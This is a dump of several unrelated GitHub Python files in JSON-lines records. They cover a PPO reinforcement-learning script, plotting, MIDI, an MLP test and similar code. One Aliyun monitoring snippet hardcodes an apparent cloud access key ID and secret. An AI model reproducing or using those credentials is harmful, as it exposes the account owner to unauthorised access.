epoch)\n return lamda\n \n def fit(self):\n\n train_loss = 0\n batch_count = 1\n self._model.to(self._device)\n for epoch in range(self._num_epochs):\n self._logger.info('*****epoch={0}******'.format(epoch))\n for i, input_dict in enumerate(self._train_data.generate_data()):\n texts = input_dict['texts']\n labels = torch.tensor(input_dict['labels'])\n output = self._model(texts, labels)\n loss = output['loss']\n train_loss += loss\n \n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n \n train_loss += loss.item()\n batch_count += 1\n file_result = open(self._result, 'w', encoding='utf-8')\n if batch_count % self._chek_freq == 0:\n train_loss /= self._chek_freq\n self._model.eval()\n corr_num = 0\n all_num = 0\n for i, input_dict in enumerate(self._valid_data.generate_data()):\n texts = input_dict['texts']\n labels = input_dict['labels']\n output = self._model(texts, labels)\n probs = output['probs']\n max_index = torch.argmax(probs, dim=-1)\n equal_compare = torch.eq(max_index, torch.tensor(labels).to(self._device)).int()\n equal_num = torch.sum(equal_compare)\n corr_num += equal_num.item()\n all_num += max_index.shape[0]\n \n for k in range(len(input_dict['texts'])):\n text = input_dict['texts'][k]\n label = max_index[k].item()\n file_result.write(json.dumps({'text':text,'label':label}, ensure_ascii=False) + '\\n')\n \n acc = corr_num/all_num\n self._logger.info('step={0}, loss={1}, all_num={2}, right_num={3}, acc={4}, lr={5}'.format(\n batch_count, train_loss, all_num, corr_num, acc, \n self.optimizer.state_dict()['param_groups'][0]['lr']))\n train_loss = 0\n torch.save(self._model.state_dict(), self._save_path.format(acc))\n self._model.train()\n \n self.scheduler.step()\n \n \n \n ","repo_name":"puzzledTao/sentiment_analy","sub_path":"corecode/train/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70155615556","text":"from copy import deepcopy\nfrom math import log10\n\nimport plotly\nimport plotly.graph_objects as go\n\nfrom charts.power_plants.power_plant_colors import get_power_plant_color\nfrom charts.power_plants.power_plants import get_power_plants_types, set_visible_by_option, read_power_plants\n\n\ndef chart_boxplot():\n data = read_power_plants()\n\n countries_names = get_country_names(data)\n buttons = []\n charts_orders = []\n\n fig = go.Figure()\n for c in countries_names:\n power_plant_types_in_c = get_power_plants_types(data, c)\n for pp in power_plant_types_in_c:\n fig.add_trace(go.Box(\n name=pp,\n y=capacity_per_power_plant(data, pp, c),\n visible=False if c != 'World' else True,\n boxpoints=\"all\" if c != 'World' else None,\n marker_color=get_power_plant_color(pp)\n ))\n charts_orders.append(c)\n\n for c in countries_names:\n buttons.append(\n dict(\n label=c,\n method=\"update\",\n args=[\n {\n \"visible\": set_visible_by_option(c, charts_orders)\n }\n ]\n )\n )\n\n fig.update_layout(\n yaxis=dict(range=[log10(data['capacity_mw'].min() - 0.01), log10(int(data['capacity_mw'].max() * 1.25))]),\n yaxis_type=\"log\",\n updatemenus=[\n dict(\n active=0,\n buttons=buttons\n )\n ],\n title={\n 'text': \"Power Plant Capacity (MW) by type
(For Countries, every point is a power plant)\",\n 'x': 0.55,\n 'xanchor': 'center',\n 'yanchor': 'top'},\n yaxis_title=\"Capacity (MW)\",\n xaxis_title=\"Power Plant Type\"\n )\n\n return plotly.offline.plot(figure_or_data=fig, include_plotlyjs=False, output_type='div')\n\n\ndef get_country_names(data, world=True):\n \"\"\"\n Return World's Countries list\n :param data:\n :param world:\n :return:\n \"\"\"\n if world:\n return ['World'] + data['country_long'].unique().tolist()\n else:\n return data['country_long'].unique().tolist()\n\n\ndef capacity_per_power_plant(data, power_plant_type, country='World'):\n \"\"\"\n Returns the power plants capacity\n :param power_plant_type:\n :param country:\n :param data:\n :return: power_pant_types\n \"\"\"\n aux_data = deepcopy(data)\n if country == 'World':\n capacity = aux_data[power_plant_type == aux_data['primary_fuel']]['capacity_mw']\n else:\n capacity = aux_data[(power_plant_type == aux_data['primary_fuel']) & (country == aux_data['country_long'])][\n 'capacity_mw']\n del aux_data\n return capacity\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ed-villani/data-visualization-20201","sub_path":"charts/power_plants/boxplot.py","file_name":"boxplot.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24584675486","text":"\"\"\"\r\nProximal Policy Optimization (PPO) version 2\r\n----------------------------\r\n1 actor and 1 critic\r\nOld policy is given by previous actor policy before updating.\r\nBatch size can be larger than episode length, only update when batch size is reached,\r\ntherefore the trick of increasing batch size for stabilizing training can be applied.\r\n\r\n\r\nTo run\r\n------\r\npython ***.py --train/test\r\n\"\"\"\r\nimport argparse\r\nimport threading\r\nimport time\r\nimport os\r\n\r\nimport gym\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\nGPU = True\r\ndevice_idx = 0\r\nif GPU:\r\n device = torch.device(\"cuda:\" + str(device_idx) if torch.cuda.is_available() else \"cpu\")\r\nelse:\r\n device = torch.device(\"cpu\")\r\nprint(device)\r\n\r\nparser = argparse.ArgumentParser(description='Train or test neural net motor controller.')\r\nparser.add_argument('--train', dest='train', action='store_true', default=False)\r\nparser.add_argument('--test', dest='train', action='store_false')\r\nargs = parser.parse_args()\r\n\r\n##################### hyper parameters ####################\r\n\r\nENV_NAME = 'Pendulum-v0' # environment name\r\nRANDOMSEED = 2 # random seed\r\n\r\nEP_MAX = 1000 # total number of episodes for training\r\nEP_LEN = 200 # total number of steps for each episode\r\nGAMMA = 0.9 # reward discount\r\nA_LR = 0.0001 # learning rate for actor\r\nC_LR = 0.0002 # learning rate for critic\r\nBATCH_SIZE = 32 # update batchsize\r\nA_UPDATE_STEPS = 10 # actor update steps\r\nC_UPDATE_STEPS = 10 # critic update steps\r\nACTION_RANGE = 2. # if unnormalized, normalized action range should be 1.\r\nEPS = 1e-8 # numerical residual\r\nTEST_EP = 10\r\n# ppo-penalty\r\nKL_TARGET = 0.01\r\nLAM = 0.5\r\n\r\n# ppo-clip\r\nEPSILON = 0.2\r\n\r\nRENDER = False\r\nPLOT_RESULT = True\r\nARG_NAME = 'PPO'\r\nMETHOD = ['penalty', 'clip'][1]\r\n\r\nclass AddBias(nn.Module):\r\n def __init__(self, bias):\r\n super(AddBias, self).__init__()\r\n self._bias = nn.Parameter(bias.unsqueeze(1))\r\n\r\n def forward(self, x):\r\n if x.dim() == 2:\r\n bias = self._bias.t().view(1, -1)\r\n else:\r\n bias = self._bias.t().view(1, -1, 1, 1)\r\n\r\n return x + bias\r\n\r\nclass ValueNetwork(nn.Module):\r\n def __init__(self, state_dim, hidden_dim, init_w=3e-3):\r\n super(ValueNetwork, self).__init__()\r\n \r\n self.linear1 = nn.Linear(state_dim, hidden_dim)\r\n # self.linear2 = nn.Linear(hidden_dim, hidden_dim)\r\n # self.linear3 = nn.Linear(hidden_dim, hidden_dim)\r\n self.linear4 = nn.Linear(hidden_dim, 1)\r\n # weights initialization\r\n # self.linear4.weight.data.uniform_(-init_w, init_w)\r\n # self.linear4.bias.data.uniform_(-init_w, init_w)\r\n \r\n def forward(self, state):\r\n x = F.relu(self.linear1(state))\r\n # x = F.relu(self.linear2(x))\r\n # x = F.relu(self.linear3(x))\r\n x = self.linear4(x)\r\n return x\r\n \r\nclass PolicyNetwork(nn.Module):\r\n def __init__(self, num_inputs, num_actions, hidden_dim, action_range=1., init_w=3e-3, log_std_min=-20, log_std_max=2):\r\n super(PolicyNetwork, self).__init__()\r\n \r\n self.log_std_min = log_std_min\r\n self.log_std_max = log_std_max\r\n \r\n self.linear1 = nn.Linear(num_inputs, hidden_dim)\r\n self.linear2 = nn.Linear(hidden_dim, hidden_dim)\r\n # self.linear3 = nn.Linear(hidden_dim, hidden_dim)\r\n # self.linear4 = nn.Linear(hidden_dim, hidden_dim)\r\n\r\n self.mean_linear = nn.Linear(hidden_dim, num_actions)\r\n \r\n # self.log_std_linear = nn.Linear(hidden_dim, num_actions)\r\n self.log_std = AddBias(torch.zeros(num_actions)) \r\n\r\n self.num_actions = num_actions\r\n self.action_range = action_range\r\n \r\n def forward(self, state):\r\n x = F.relu(self.linear1(state))\r\n x = F.relu(self.linear2(x))\r\n # x = F.relu(self.linear3(x))\r\n # x = F.relu(self.linear4(x))\r\n\r\n mean = self.action_range * F.tanh(self.mean_linear(x))\r\n # log_std = self.log_std_linear(x)\r\n # log_std = torch.clamp(log_std, self.log_std_min, self.log_std_max)\r\n\r\n zeros = torch.zeros(mean.size())\r\n if state.is_cuda:\r\n zeros = zeros.cuda()\r\n log_std = self.log_std(zeros)\r\n \r\n std = log_std.exp()\r\n return mean, std\r\n \r\n############################### PPO ####################################\r\n\r\nclass PPO(object):\r\n \"\"\"\r\n PPO class\r\n \"\"\"\r\n\r\n def __init__(self, state_dim, action_dim, hidden_dim=128, method='clip'):\r\n self.actor = PolicyNetwork(state_dim, action_dim, hidden_dim, ACTION_RANGE).to(device)\r\n self.critic = ValueNetwork(state_dim, hidden_dim).to(device)\r\n print(self.actor, self.critic)\r\n\r\n self.actor_opt = torch.optim.Adam(self.actor.parameters(), lr=A_LR)\r\n self.critic_opt = torch.optim.Adam(self.critic.parameters(), lr=C_LR)\r\n\r\n self.method = method\r\n if method == 'penalty':\r\n self.kl_target = KL_TARGET\r\n self.lam = LAM\r\n elif method == 'clip':\r\n self.epsilon = EPSILON\r\n\r\n self.state_buffer, self.action_buffer = [], []\r\n self.reward_buffer, self.cumulative_reward_buffer = [], []\r\n\r\n def a_train(self, state, action, adv, old_pi):\r\n \"\"\"\r\n Update policy network\r\n :param state: state batch\r\n :param action: action batch\r\n :param adv: advantage batch\r\n :param old_pi: old pi distribution\r\n :return: kl_mean or None\r\n \"\"\"\r\n mu, sigma = self.actor(state)\r\n pi = torch.distributions.Normal(mu, sigma)\r\n ratio = torch.exp(pi.log_prob(action) - old_pi.log_prob(action))\r\n surr = ratio * adv\r\n if self.method == 'penalty':\r\n kl = torch.distributions.kl_divergence(old_pi, pi)\r\n kl_mean = kl.mean()\r\n aloss = -(surr - self.lam * kl).mean()\r\n else: # clipping method, find this is better\r\n aloss = -torch.mean(\r\n torch.min(\r\n surr,\r\n torch.clamp(\r\n ratio,\r\n 1. - self.epsilon,\r\n 1. + self.epsilon\r\n ) * adv\r\n )\r\n )\r\n self.actor_opt.zero_grad()\r\n aloss.backward()\r\n self.actor_opt.step()\r\n\r\n if self.method == 'kl_pen':\r\n return kl_mean\r\n\r\n def c_train(self, cumulative_r, state):\r\n \"\"\"\r\n Update actor network\r\n :param cumulative_r: cumulative reward batch\r\n :param state: state batch\r\n :return: None\r\n \"\"\"\r\n advantage = cumulative_r - self.critic(state)\r\n closs = (advantage ** 2).mean()\r\n self.critic_opt.zero_grad()\r\n closs.backward()\r\n self.critic_opt.step()\r\n\r\n def update(self):\r\n \"\"\"\r\n Update parameter with the constraint of KL divergent\r\n :return: None\r\n \"\"\"\r\n s = torch.Tensor(self.state_buffer).to(device)\r\n a = torch.Tensor(self.action_buffer).to(device)\r\n r = torch.Tensor(self.cumulative_reward_buffer).to(device)\r\n with torch.no_grad():\r\n mean, std = self.actor(s)\r\n pi = torch.distributions.Normal(mean, std)\r\n adv = r - self.critic(s)\r\n # adv = (adv - adv.mean())/(adv.std()+1e-6) # sometimes helpful\r\n\r\n # update actor\r\n if self.method == 'kl_pen':\r\n for _ in range(A_UPDATE_STEPS):\r\n kl = self.a_train(s, a, adv, pi)\r\n if kl > 4 * self.kl_target: # this in in google's paper\r\n break\r\n if kl < self.kl_target / 1.5: # adaptive lambda, this is in OpenAI's paper\r\n self.lam /= 2\r\n elif kl > self.kl_target * 1.5:\r\n self.lam *= 2\r\n self.lam = np.clip(\r\n self.lam, 1e-4, 10\r\n ) # sometimes explode, this clipping is MorvanZhou's solution\r\n else: # clipping method, find this is better (OpenAI's paper)\r\n for _ in range(A_UPDATE_STEPS):\r\n self.a_train(s, a, adv, pi)\r\n\r\n # update critic\r\n for _ in range(C_UPDATE_STEPS):\r\n self.c_train(r, s)\r\n\r\n self.state_buffer.clear()\r\n self.action_buffer.clear()\r\n self.cumulative_reward_buffer.clear()\r\n self.reward_buffer.clear()\r\n\r\n def choose_action(self, s, greedy=False):\r\n \"\"\"\r\n Choose action\r\n :param s: state\r\n :param greedy: choose action greedy or not\r\n :return: clipped action\r\n \"\"\"\r\n s = s[np.newaxis, :].astype(np.float32)\r\n s = torch.Tensor(s).to(device)\r\n mean, std = self.actor(s)\r\n if greedy:\r\n a = mean.cpu().detach().numpy()[0]\r\n else:\r\n pi = torch.distributions.Normal(mean, std)\r\n a = pi.sample().cpu().numpy()[0]\r\n return np.clip(a, -self.actor.action_range, self.actor.action_range)\r\n\r\n def save_model(self, path='ppo'):\r\n torch.save(self.actor.state_dict(), path + '_actor')\r\n torch.save(self.critic.state_dict(), path + '_critic')\r\n\r\n def load_model(self, path='ppo'):\r\n self.actor.load_state_dict(torch.load(path + '_actor'))\r\n self.critic.load_state_dict(torch.load(path + '_critic'))\r\n\r\n self.actor.eval()\r\n self.critic.eval()\r\n\r\n def store_transition(self, state, action, reward):\r\n \"\"\"\r\n Store state, action, reward at each step\r\n :param state:\r\n :param action:\r\n :param reward:\r\n :return: None\r\n \"\"\"\r\n self.state_buffer.append(state)\r\n self.action_buffer.append(action)\r\n self.reward_buffer.append(reward)\r\n\r\n def finish_path(self, next_state, done):\r\n \"\"\"\r\n Calculate cumulative reward\r\n :param next_state:\r\n :return: None\r\n \"\"\"\r\n if done:\r\n v_s_ = 0\r\n else:\r\n v_s_ = self.critic(torch.Tensor([next_state]).to(device)).cpu().detach().numpy()[0, 0]\r\n discounted_r = []\r\n for r in self.reward_buffer[::-1]:\r\n v_s_ = r + GAMMA * v_s_ # no future reward if next state is terminal\r\n discounted_r.append(v_s_)\r\n discounted_r.reverse()\r\n discounted_r = np.array(discounted_r)[:, np.newaxis]\r\n self.cumulative_reward_buffer.extend(discounted_r)\r\n self.reward_buffer.clear()\r\n\r\n\r\nclass Drawer:\r\n def __init__(self, comments=''):\r\n global update_plot, stop_plot\r\n update_plot = threading.Event()\r\n update_plot.set()\r\n stop_plot = threading.Event()\r\n stop_plot.clear()\r\n self.title = ARG_NAME\r\n if comments:\r\n self.title += '_' + comments\r\n\r\n def plot(self):\r\n plt.ion()\r\n global all_ep_r, update_plot, stop_plot\r\n all_ep_r = []\r\n while not stop_plot.is_set():\r\n if update_plot.is_set():\r\n plt.cla()\r\n plt.title(self.title)\r\n plt.plot(np.arange(len(all_ep_r)), all_ep_r)\r\n # plt.ylim(-2000, 0)\r\n plt.xlabel('Episode')\r\n plt.ylabel('Moving averaged episode reward')\r\n update_plot.clear()\r\n plt.draw()\r\n plt.pause(0.2)\r\n plt.ioff()\r\n plt.close()\r\n\r\n def save(self, path='fig'):\r\n plt.title(ARG_NAME)\r\n plt.plot(np.arange(len(all_ep_r)), all_ep_r)\r\n # plt.ylim(-2000, 0)\r\n plt.xlabel('Episode')\r\n plt.ylabel('Moving averaged episode reward')\r\n time_array = time.localtime(time.time())\r\n time_str = time.strftime(\"%Y%m%d_%H%M%S\", time_array)\r\n if not os.path.exists(path):\r\n os.makedirs(path)\r\n path = os.path.join(path, self.title + '_' + time_str)\r\n plt.savefig(path)\r\n plt.close()\r\n\r\n\r\ndef train():\r\n env = gym.make(ENV_NAME).unwrapped\r\n state_dim = env.observation_space.shape[0]\r\n action_dim = env.action_space.shape[0]\r\n\r\n # reproducible\r\n env.seed(RANDOMSEED)\r\n np.random.seed(RANDOMSEED)\r\n torch.manual_seed(RANDOMSEED)\r\n\r\n ppo = PPO(state_dim, action_dim, method = METHOD)\r\n global all_ep_r, update_plot, stop_plot\r\n all_ep_r = []\r\n for ep in range(EP_MAX):\r\n s = env.reset()\r\n ep_r = 0\r\n t0 = time.time()\r\n for t in range(EP_LEN):\r\n if RENDER:\r\n env.render()\r\n a = ppo.choose_action(s)\r\n s_, r, done, _ = env.step(a)\r\n ppo.store_transition(s, a, (r + 8) / 8) # useful for pendulum since the nets are very small, normalization make it easier to learn\r\n s = s_\r\n ep_r += r\r\n\r\n # update ppo\r\n if len(ppo.state_buffer) == BATCH_SIZE:\r\n ppo.finish_path(s_, done)\r\n ppo.update()\r\n if done:\r\n break\r\n ppo.finish_path(s_, done)\r\n print(\r\n 'Episode: {}/{} | Episode Reward: {:.4f} | Running Time: {:.4f}'.format(\r\n ep + 1, EP_MAX, ep_r,\r\n time.time() - t0\r\n )\r\n )\r\n if ep == 0:\r\n all_ep_r.append(ep_r)\r\n else:\r\n all_ep_r.append(all_ep_r[-1] * 0.9 + ep_r * 0.1)\r\n if PLOT_RESULT:\r\n update_plot.set()\r\n ppo.save_model()\r\n if PLOT_RESULT:\r\n stop_plot.set()\r\n env.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n if args.train:\r\n thread = threading.Thread(target=train)\r\n thread.daemon = True\r\n thread.start()\r\n if PLOT_RESULT:\r\n drawer = Drawer()\r\n drawer.plot()\r\n drawer.save()\r\n thread.join()\r\n\r\n # test\r\n env = gym.make(ENV_NAME).unwrapped\r\n state_dim = env.observation_space.shape[0]\r\n action_dim = env.action_space.shape[0]\r\n ppo = PPO(state_dim, action_dim, method = METHOD)\r\n ppo.load_model()\r\n for _ in range(TEST_EP):\r\n state = env.reset()\r\n for i in range(EP_LEN):\r\n env.render()\r\n action = ppo.choose_action(state, True)\r\n state, reward, done, _ = env.step(action)\r\n if done:\r\n break\r\n env.close()\r\n","repo_name":"quantumiracle/Popular-RL-Algorithms","sub_path":"ppo_continuous2.py","file_name":"ppo_continuous2.py","file_ext":"py","file_size_in_byte":14291,"program_lang":"python","lang":"en","doc_type":"code","stars":880,"dataset":"github-code","pt":"61"} +{"seq_id":"31584695768","text":"class Solution:\n \n \n def areAlmostEqual(self, s1: str, s2: str) -> bool: \n \n # our helper function that actually solves the issue\n def checker(s1: str, s2: str, is_sorted: bool) -> bool:\n comparison_check_value = 0 if is_sorted else 2\n distinct_letters = 0\n for i in range(len(s1)):\n\n if s1[i] != s2[i]:\n distinct_letters += 1\n else:\n continue\n\n if distinct_letters <= comparison_check_value:\n return True\n else:\n return False\n \n # checking results\n max_one_swap = checker(s1, s2, False)\n no_different_letters = checker(sorted(s1), sorted(s2), True)\n \n if max_one_swap and no_different_letters:\n return True\n else:\n return False\n \n \n \n \n \n ","repo_name":"mattssll/LeetCodeSolutions","sub_path":"1790-check-if-one-string-swap-can-make-strings-equal/1790-check-if-one-string-swap-can-make-strings-equal.py","file_name":"1790-check-if-one-string-swap-can-make-strings-equal.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9737825736","text":"from aliyunsdkcore import client\nfrom aliyunsdkcms.request.v20180308 import QueryMetricListRequest\nimport time\n\nclt = client.AcsClient(\n \"LTAIM5QslSSa2nqv\",\n \"rHBjTNtOVqkxVEIOg8JzPrLi6rShBo\",\n \"cn-shenzhen\"\n)\nrequest = QueryMetricListRequest.QueryMetricListRequest()\nrequest.set_accept_format('json')\nrequest.set_Project('acs_ecs_dashboard')\nrequest.set_Metric('CPUUtilization')\nstart_time = \"2018-05-25 10:00:00\"\ntimestamp_start = int(time.mktime(time.strptime(start_time, \"%Y-%m-%d %H:%M:%S\"))) * 1000\nrequest.set_StartTime(timestamp_start)\nrequest.set_Dimensions(\"{'instanceId':'i-94g5hc378'}\")\nrequest.set_Period('60')\nresult = clt.do_action_with_exception(request)\nprint(result)\n","repo_name":"x82423990/operation-platform","sub_path":"monitor/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27529337847","text":"#### import the simple module from the paraview\nfrom paraview.simple import *\n#### disable automatic camera reset on 'Show'\nparaview.simple._DisableFirstRenderCameraReset()\n\n# create a new 'CSV Reader'\nb_pointcloudcsv = CSVReader(FileName=['/home/tlooby/source/HEAT/rev2/data/nstx_116313/000851/B_pointcloud.csv'])\n\n# get active view\nrenderView1 = GetActiveViewOrCreate('RenderView')\n# uncomment following to set a specific view size\n# renderView1.ViewSize = [1492, 752]\n\n# get layout\nviewLayout1 = GetLayout()\n\n# Create a new 'SpreadSheet View'\n#spreadSheetView1 = CreateView('SpreadSheetView')\n#spreadSheetView1.BlockSize = 1024L\n# uncomment following to set a specific view size\n# spreadSheetView1.ViewSize = [400, 400]\n\n# place view in the layout\n#viewLayout1.AssignView(2, spreadSheetView1)\n\n# show data in view\n#b_pointcloudcsvDisplay = Show(b_pointcloudcsv, spreadSheetView1)\n# trace defaults for the display properties.\n#b_pointcloudcsvDisplay.FieldAssociation = 'Row Data'\n\n# destroy spreadSheetView1\n#Delete(spreadSheetView1)\n#del spreadSheetView1\n\n# close an empty frame\n#viewLayout1.Collapse(2)\n\n# set active view\nSetActiveView(renderView1)\n\n# create a new 'Table To Points'\ntableToPoints6 = TableToPoints(Input=b_pointcloudcsv)\ntableToPoints6.XColumn = '# X'\ntableToPoints6.YColumn = 'Y'\ntableToPoints6.ZColumn = 'Z'\n\n# show data in view\ntableToPoints6Display = Show(tableToPoints6, renderView1)\n# trace defaults for the display properties.\ntableToPoints6Display.ColorArrayName = [None, '']\n\n# reset view to fit data\nrenderView1.ResetCamera()\n\n# create a new 'Calculator'\ncalculator3 = Calculator(Input=tableToPoints6)\n# Properties modified on calculator3\ncalculator3.Function = '(iHat*Bx) + (jHat*By) + (kHat*Bz)'\n\n# show data in view\ncalculator3Display = Show(calculator3, renderView1)\n# trace defaults for the display properties.\ncalculator3Display.ColorArrayName = [None, '']\n\n# hide data in view\nHide(tableToPoints6, renderView1)\n\n# create a new 'Glyph'\nglyph3 = Glyph(Input=calculator3,\n GlyphType='Arrow')\nglyph3.Scalars = ['POINTS', 'Bx']\nglyph3.Vectors = ['POINTS', 'Result']\nglyph3.ScaleFactor = 35.50919392904\nglyph3.GlyphTransform = 'Transform2'\n\n# Properties modified on glyph3\nglyph3.GlyphMode = 'Every Nth Point'\nglyph3.Stride = 20\n\n# get color transfer function/color map for 'Bx'\nbxLUT = GetColorTransferFunction('GlyphVector')\n\n# show data in view\nglyph3Display = Show(glyph3, renderView1)\n# trace defaults for the display properties.\nglyph3Display.ColorArrayName = ['POINTS', 'GlyphVector']\nglyph3Display.LookupTable = bxLUT\n\n# show color bar/color legend\nglyph3Display.SetScalarBarVisibility(renderView1, True)\n\n# get opacity transfer function/opacity map for 'Bx'\nbxPWF = GetOpacityTransferFunction('GlyphVector')\n\n# set scalar coloring\nColorBy(glyph3Display, ('POINTS', 'GlyphVector'))\n\n# rescale color and/or opacity maps used to include current data range\nglyph3Display.RescaleTransferFunctionToDataRange(True)\n\n# show color bar/color legend\nglyph3Display.SetScalarBarVisibility(renderView1, True)\n\n# get color transfer function/color map for 'GlyphVector'\nglyphVectorLUT = GetColorTransferFunction('GlyphVector')\n\n# Apply a preset using its name. Note this may not work as expected when presets have duplicate names.\nglyphVectorLUT.ApplyPreset('blue2yellow', True)\n\n# get opacity transfer function/opacity map for 'GlyphVector'\nglyphVectorPWF = GetOpacityTransferFunction('GlyphVector')\n\n# hide data in view\nHide(calculator3, renderView1)\n","repo_name":"plasmapotential/HEAT","sub_path":"source/helperMacros/bfield_PV_macro.py","file_name":"bfield_PV_macro.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"61"} +{"seq_id":"3225446157","text":"from mido import Message\nimport math\n\nclass TromboneMessage:\n \"\"\"\n In the original Midi file, each note is represented by a number, 21 being the lowest note on \n a keyboard and 108 being the highest. In the final file, we no longer care about the actual\n note being played, but rather the position of that note, so we will replace the 'note' value in each \n midi message to correspond with the trombone position we desire to play. \n\n Most, but not all, notes on a trombone can be assigned an integer position of 1-7. \n However, there are contexts when a note is a 1.5 or 2.5 position. To accomodate \n this, each position will be ten times the conventional name. \n\n Ex: \n * Position 1: note=10\n * Position 2: note=20\n * Position 3: note=30\n * Position 4: note=40\n * Position 5: note=50\n * Position 6: note=60\n * Position 7: note=70\n\n Many of the notes have alternate positions. Depending on the notes played before or after, we\n have preference to play the note in one position or another. For example, a fourth-line base clef\n F is typically played in first position, but if we have a second-space C just beforehand, we\n typically want to play both in sixth position. Because of this, instead of greedily assigning positions\n to notes, we will maintain the list of potential positions until we determine we have an optimal path.\n \n \"\"\"\n trombone_notes = {\n \"A4\": [20],\n \"Ab4\": [30],\n \"G4\": [15],\n \"F#4\": [25],\n \"F4\": [10],\n \"E4\": [20],\n \"Eb4\": [30],\n \"D4\": [10, 40],\n \"Db4\": [20, 50],\n \"C4\": [30, 60],\n \"B3\": [40, 70],\n \"Bb3\": [10],\n \"A3\": [20],\n \"Ab3\": [30],\n \"G3\": [40],\n \"F#3\": [50],\n \"F3\": [10, 60],\n \"E3\": [20],\n \"Eb3\": [30],\n \"D3\": [40],\n \"Db3\": [50],\n \"C3\": [60],\n \"B2\": [70],\n \"Bb2\": [10],\n \"A2\": [20],\n \"Ab2\": [30],\n \"G2\": [40],\n \"F#2\": [50],\n \"F2\": [60],\n }\n\n def __init__(self, message):\n self.original_message = message\n\n\n # Not all midi messages are notes. We only want to modify note messages\n self.is_note = hasattr(self.original_message, 'note')\n self.is_program_change = message.type == \"program_change\" and hasattr(message, \"program\")\n\n if not self.is_note:\n return\n\n self.original_note = get_note_name(self.original_message.note)\n self.potential_positions = self.trombone_notes.get(self.original_note, [])\n\n if len(self.potential_positions) < 1:\n raise ValueError(f\"Message {self.original_message} requests note {self.original_note} which is unavailable\")\n else:\n self.current_position = self.potential_positions[0]\n\n def to_message(self):\n if self.is_note:\n return self.original_message.copy(note=self.current_position)\n elif self.is_program_change:\n # Some midi files list the instrument as trumpet, but we want the output file to request the 58th instrument (trombone)\n return self.original_message.copy(program=58)\n else:\n return self.original_message\n\n\ndef get_note_name(note_number):\n notes = [\"C\", \"Db\", \"D\", \"Eb\", \"E\", \"F\", \"F#\", \"G\", \"Ab\", \"A\", \"Bb\", \"B\"]\n octave = math.floor(note_number / 12) - 1\n name = notes[note_number % 12]\n return f\"{name}{octave}\"\n","repo_name":"collinmcfadden/music-robot","sub_path":"instruments/trombone_note.py","file_name":"trombone_note.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34993466463","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nTest MLP class for regression\n\n@author: avaldes\n\"\"\"\nfrom __future__ import division, print_function\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\n\nfrom mlp import MLP\n\n\n__author__ = \"Ignacio Casso, Daniel Gamo, Gwydion J. Martín, Alberto Terceño\"\n# create data\n\n\ndef f1(x):\n return 1 / (1 + x**2)\n\n\ndef f2(x):\n return np.sin(x)\n\n\nnb_data = 100\nx_data = np.linspace(-5, 5, nb_data).reshape(nb_data, 1)\nt_data1 = f1(x_data)\nt_data2 = f2(x_data)\n\n# Net structure\n\nD = 1 # initial dimension\nK = 1 # final dimension\n\n# You must find the best MLP structure in order to\n# obtain the least possible L2 error. Training time will be\n# measured too.\n# You can use at most 1000 weights and 1000 epochs.\n# For example:\n\nK_list = [D, 20, 20, 10, 10, K] # list of dimensions of layers\n\nactivation_functions = [MLP.sigmoid,\n MLP.sigmoid,\n MLP.sigmoid,\n MLP.sigmoid,\n MLP.identity]\n\ndiff_activation_functions = [MLP.dsigmoid,\n MLP.dsigmoid,\n MLP.dsigmoid,\n MLP.dsigmoid,\n MLP.didentity]\n\n\n# network training\n\nfor t_data in [t_data1, t_data2]:\n\n time_begin = time.time()\n\n mlp = MLP(K_list,\n activation_functions, diff_activation_functions)\n\n mlp.train(x_data, t_data,\n epochs=1000, batch_size=10,\n epsilon=0.1,\n print_cost=True)\n\n time_end = time.time()\n\n print('Time used in training: {}'.format(time_end - time_begin))\n\n mlp.get_activations_and_units(x_data)\n print('L2 ERROR={}'.format(np.sum(t_data - mlp.y)**2))\n plt.plot(x_data, mlp.y)\n plt.plot(x_data, t_data, color='black')\n plt.show()\n","repo_name":"zentonllo/gcom","sub_path":"pr3/pruebas_alberto/test_regression.py","file_name":"test_regression.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5269681997","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport collections\nimport io\nimport re\n\nfrom googlecloudsdk.core.document_renderers import text_renderer\nimport six\n\n\nclass LinterRenderer(text_renderer.TextRenderer):\n \"\"\"Renders markdown to a list of lines where there is a linter error.\"\"\"\n\n _HEADINGS_TO_LINT = [\"NAME\", \"EXAMPLES\", \"DESCRIPTION\"]\n _NAME_WORD_LIMIT = 20\n _PERSONAL_PRONOUNS = {\"me\", \"we\", \"I\", \"us\", \"he\", \"she\", \"him\", \"her\"}\n\n def __init__(self, *args, **kwargs):\n super(LinterRenderer, self).__init__(*args, **kwargs)\n self._file_out = self._out # the output file inherited from TextRenderer\n self._null_out = io.StringIO()\n self._buffer = io.StringIO()\n self._out = self._buffer\n self._analyze = {\"NAME\": self._analyze_name,\n \"EXAMPLES\": self._analyze_examples,\n \"DESCRIPTION\": self._analyze_description}\n self._heading = \"\"\n self._prev_heading = \"\"\n self.example = False\n self.command_name = \"\"\n self.name_section = \"\"\n self.command_name_length = 0\n self.command_text = \"\"\n self.equals_violation_flags = []\n self.nonexistent_violation_flags = []\n self.json_object = collections.OrderedDict()\n\n def 